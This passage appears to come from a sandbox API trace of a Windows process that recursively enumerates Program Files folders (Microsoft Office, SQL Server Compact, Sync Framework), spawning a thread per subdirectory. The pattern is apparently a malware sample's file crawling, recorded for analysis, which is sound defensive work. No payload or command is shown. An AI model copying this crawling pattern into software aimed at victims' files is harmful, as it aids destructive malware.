_Dest="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP") returned="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" [0151.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420604b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f8 [0151.150] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 1 [0151.150] wcscmp (_String1="XPAGE3C.DLL", _String2=".") returned 1 [0151.150] wcscmp (_String1="XPAGE3C.DLL", _String2="..") returned 1 [0151.150] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 0 [0151.150] FindClose (in: hFindFile=0x1b7ceca0 | out: hFindFile=0x1b7ceca0) returned 1 [0151.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0151.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2440) returned 1 [0151.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ced00) returned 1 Thread: id = 146 os_tid = 0xab8 [0086.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7a33b0 [0086.222] wcscpy (in: _Dest=0x1b7a33b0, _Source="C:\\Program Files\\Microsoft Office\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0086.222] wcscat (in: _Dest=0x1b7a33b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\" [0086.222] wcscat (in: _Dest=0x1b7a33b0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\*") returned="C:\\Program Files\\Microsoft Office\\Stationery\\*" [0086.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b85f8e0 [0086.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x1b85f8e0 | out: lpFindFileData=0x1b85f8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cec40 [0086.228] wcscmp (_String1=".", _String2=".") returned 0 [0086.228] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b85f8e0 | out: lpFindFileData=0x1b85f8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.228] wcscmp (_String1="..", _String2=".") returned 1 [0086.228] wcscmp (_String1="..", _String2="..") returned 0 [0086.228] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b85f8e0 | out: lpFindFileData=0x1b85f8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.228] wcscmp (_String1="1033", _String2=".") returned 1 [0086.228] wcscmp (_String1="1033", _String2="..") returned 1 [0086.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b785ef0 [0086.228] wcscpy (in: _Dest=0x1b785ef0, _Source="C:\\Program Files\\Microsoft Office\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0086.228] wcscat (in: _Dest=0x1b785ef0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\" [0086.228] wcscat (in: _Dest=0x1b785ef0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0090.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b785ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0090.468] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b85f8e0 | out: lpFindFileData=0x1b85f8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0090.468] FindClose (in: hFindFile=0x1b7cec40 | out: hFindFile=0x1b7cec40) returned 1 [0090.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0090.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a33b0) returned 1 [0090.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 Thread: id = 147 os_tid = 0xab4 [0086.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b786270 [0086.230] wcscpy (in: _Dest=0x1b786270, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0086.230] wcscat (in: _Dest=0x1b786270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0086.230] wcscat (in: _Dest=0x1b786270, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\*" [0086.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b860fd0 [0086.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x1b860fd0 | out: lpFindFileData=0x1b860fd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cebe0 [0086.231] wcscmp (_String1=".", _String2=".") returned 0 [0086.231] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b860fd0 | out: lpFindFileData=0x1b860fd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.232] wcscmp (_String1="..", _String2=".") returned 1 [0086.232] wcscmp (_String1="..", _String2="..") returned 0 [0086.232] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b860fd0 | out: lpFindFileData=0x1b860fd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.232] wcscmp (_String1="1033", _String2=".") returned 1 [0086.232] wcscmp (_String1="1033", _String2="..") returned 1 [0086.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7860b0 [0086.232] wcscpy (in: _Dest=0x1b7860b0, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0086.232] wcscat (in: _Dest=0x1b7860b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0086.232] wcscat (in: _Dest=0x1b7860b0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0090.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7860b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0090.471] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b860fd0 | out: lpFindFileData=0x1b860fd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0090.471] wcscmp (_String1="Presentation Designs", _String2=".") returned 1 [0090.471] wcscmp (_String1="Presentation Designs", _String2="..") returned 1 [0090.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85bb50 [0090.471] wcscpy (in: _Dest=0x1b85bb50, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0090.471] wcscat (in: _Dest=0x1b85bb50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0090.471] wcscat (in: _Dest=0x1b85bb50, _Source="Presentation Designs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" [0090.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85bb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0090.472] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b860fd0 | out: lpFindFileData=0x1b860fd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0090.472] FindClose (in: hFindFile=0x1b7cebe0 | out: hFindFile=0x1b7cebe0) returned 1 [0090.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fd0) returned 1 [0090.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b786270) returned 1 [0090.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ced60) returned 1 Thread: id = 148 os_tid = 0xac8 [0086.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c330 [0086.234] wcscpy (in: _Dest=0x1b85c330, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0086.234] wcscat (in: _Dest=0x1b85c330, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\" [0086.234] wcscat (in: _Dest=0x1b85c330, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*" [0086.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b8626c0 [0086.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb80 [0086.240] wcscmp (_String1=".", _String2=".") returned 0 [0086.240] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.240] wcscmp (_String1="..", _String2=".") returned 1 [0086.240] wcscmp (_String1="..", _String2="..") returned 0 [0086.240] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0086.240] wcscmp (_String1="Desktop", _String2=".") returned 1 [0086.240] wcscmp (_String1="Desktop", _String2="..") returned 1 [0086.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85c3c0 [0086.240] wcscpy (in: _Dest=0x1b85c3c0, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0086.240] wcscat (in: _Dest=0x1b85c3c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\" [0086.240] wcscat (in: _Dest=0x1b85c3c0, _Source="Desktop" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" [0097.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c3c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4 [0097.398] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0097.398] wcscmp (_String1="sqlceca35.dll", _String2=".") returned 1 [0097.398] wcscmp (_String1="sqlceca35.dll", _String2="..") returned 1 [0097.398] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1 [0097.398] wcscmp (_String1="sqlcecompact35.dll", _String2=".") returned 1 [0097.398] wcscmp (_String1="sqlcecompact35.dll", _String2="..") returned 1 [0097.398] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1 [0097.398] wcscmp (_String1="sqlceer35EN.dll", _String2=".") returned 1 [0097.398] wcscmp (_String1="sqlceer35EN.dll", _String2="..") returned 1 [0097.398] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1 [0097.398] wcscmp (_String1="sqlceme35.dll", _String2=".") returned 1 [0097.398] wcscmp (_String1="sqlceme35.dll", _String2="..") returned 1 [0097.399] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1 [0097.399] wcscmp (_String1="sqlceoledb35.dll", _String2=".") returned 1 [0097.399] wcscmp (_String1="sqlceoledb35.dll", _String2="..") returned 1 [0097.399] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1 [0097.399] wcscmp (_String1="sqlceqp35.dll", _String2=".") returned 1 [0097.399] wcscmp (_String1="sqlceqp35.dll", _String2="..") returned 1 [0097.399] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1 [0097.399] wcscmp (_String1="sqlcese35.dll", _String2=".") returned 1 [0097.399] wcscmp (_String1="sqlcese35.dll", _String2="..") returned 1 [0097.399] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b8626c0 | out: lpFindFileData=0x1b8626c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 0 [0097.399] FindClose (in: hFindFile=0x1b7ceb80 | out: hFindFile=0x1b7ceb80) returned 1 [0097.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8626c0) returned 1 [0097.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c330) returned 1 [0097.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d570) returned 1 Thread: id = 149 os_tid = 0xac0 [0086.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7865f0 [0086.247] wcscpy (in: _Dest=0x1b7865f0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0086.247] wcscat (in: _Dest=0x1b7865f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0086.247] wcscat (in: _Dest=0x1b7865f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*" [0086.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b863db0 [0086.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x1b863db0 | out: lpFindFileData=0x1b863db0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb20 [0086.247] wcscmp (_String1=".", _String2=".") returned 0 [0086.247] FindNextFileW (in: hFindFile=0x1b7ceb20, lpFindFileData=0x1b863db0 | out: lpFindFileData=0x1b863db0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.247] wcscmp (_String1="..", _String2=".") returned 1 [0086.247] wcscmp (_String1="..", _String2="..") returned 0 [0086.247] FindNextFileW (in: hFindFile=0x1b7ceb20, lpFindFileData=0x1b863db0 | out: lpFindFileData=0x1b863db0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0086.247] wcscmp (_String1="Documentation", _String2=".") returned 1 [0086.248] wcscmp (_String1="Documentation", _String2="..") returned 1 [0086.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c450 [0086.248] wcscpy (in: _Dest=0x1b85c450, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0086.248] wcscat (in: _Dest=0x1b85c450, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0086.248] wcscat (in: _Dest=0x1b85c450, _Source="Documentation" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" [0090.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0090.474] FindNextFileW (in: hFindFile=0x1b7ceb20, 